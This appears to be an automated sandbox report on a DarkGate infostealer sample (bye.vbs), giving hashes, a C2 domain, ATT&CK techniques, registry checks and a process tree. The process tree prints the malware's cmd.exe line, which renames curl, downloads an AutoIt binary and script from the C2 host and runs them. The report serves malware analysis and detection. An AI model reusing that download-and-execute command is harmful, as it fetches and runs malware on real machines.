darkgate | 522f39e48985edef7c06bcc2d56f756df0e4c97ad757d74917e9f19d5f0e3687

General

Target

bye.vbs
Size

87KB
MD5

c203856ba9d7f9a78341114422c1e72d
SHA1

db4cd591b107d23e95f52148c42bd7bf272b7b82
SHA256

713640bdfeb056cda0283464f5e1e85dd8ff7ecfdbe436fec5e22d86a052e3ef
SHA512

1d0cd5134262b12fbed2e742e309569370d7eae16e2d8d58f55b083bcae7a108c0096b5691cc2fb061ca90e6b3226a1dd261399c5ef961c909615f49a6ae29f8
SSDEEP

1536:vDgcLZK8HLHQj2Bks7wrzeABf2v60QL4mW+0rURc:bgerwj2Bk3z7doMxW+0Ec

Score

10^/10

darkgate stealer

Malware Config

Extracted

Family

darkgate

C2

http://searcherbigdealk.com

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2804	WScript.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
4148	efod.exe
3992	efod.exe
4136	Autoit3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeManageVolumePrivilege	4764	svchost.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 796	2804	WScript.exe	85
PID 2804 wrote to memory of 796	2804	WScript.exe	85
PID 796 wrote to memory of 4148	796	cmd.exe	87
PID 796 wrote to memory of 4148	796	cmd.exe	87
PID 796 wrote to memory of 3992	796	cmd.exe	89
PID 796 wrote to memory of 3992	796	cmd.exe	89
PID 796 wrote to memory of 4136	796	cmd.exe	92
PID 796 wrote to memory of 4136	796	cmd.exe	92
PID 796 wrote to memory of 4136	796	cmd.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bye.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\efod & cd /d c:\efod & copy c:\windows\system32\curl.exe efod.exe & efod -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351 & efod -o gbglzh.au3 http://searcherbigdealk.com:2351/msiefodhrst & Autoit3.exe gbglzh.au3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - \??\c:\efod\efod.exe
    efod -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351
    3⤵
    - Executes dropped EXE
    PID:4148
- - \??\c:\efod\efod.exe
    efod -o gbglzh.au3 http://searcherbigdealk.com:2351/msiefodhrst
    3⤵
    - Executes dropped EXE
    PID:3992
- - \??\c:\efod\Autoit3.exe
    Autoit3.exe gbglzh.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4136

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:3620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\efod\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\efod\efod.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
C:\efod\efod.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
\??\c:\efod\efod.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

Download Submit
\??\c:\efod\gbglzh.au3

Filesize
915KB

MD5
de9a6d5f83e167fc020bb48f36684155

SHA1
7e2db72b21a9a8ba2b63cd77859dc9ac87b6afc2

SHA256
2f5af97b13b077a00218c60305b4eee5d88d14a9bd042beed286434c3fc6e084

SHA512
6a8eaf08e91c313a55aa25bb8b7637206127cdab77371c6e118df477b045bfcc0c7f4f754df54d8293174992998bec6340b5283cc5df02fb6b7e35402e02d17f

Download Submit
memory/4136-15-0x0000000003CA0000-0x0000000003D95000-memory.dmp

Filesize
980KB

Download
memory/4136-13-0x0000000003CA0000-0x0000000003D95000-memory.dmp

Filesize
980KB

Download
memory/4136-14-0x0000000004590000-0x0000000004953000-memory.dmp

Filesize
3.8MB

Download
memory/4136-12-0x0000000000F50000-0x0000000001350000-memory.dmp

Filesize
4.0MB

Download
memory/4136-16-0x0000000004590000-0x0000000004953000-memory.dmp

Filesize
3.8MB

Download
memory/4764-17-0x0000019DEC6B0000-0x0000019DEC6C0000-memory.dmp

Filesize
64KB

Download
memory/4764-33-0x0000019DEC7B0000-0x0000019DEC7C0000-memory.dmp

Filesize
64KB

Download
memory/4764-49-0x0000019DF4B20000-0x0000019DF4B21000-memory.dmp

Filesize
4KB

Download
memory/4764-51-0x0000019DF4B50000-0x0000019DF4B51000-memory.dmp

Filesize
4KB

Download
memory/4764-52-0x0000019DF4B50000-0x0000019DF4B51000-memory.dmp

Filesize
4KB

Download
memory/4764-53-0x0000019DF4C60000-0x0000019DF4C61000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads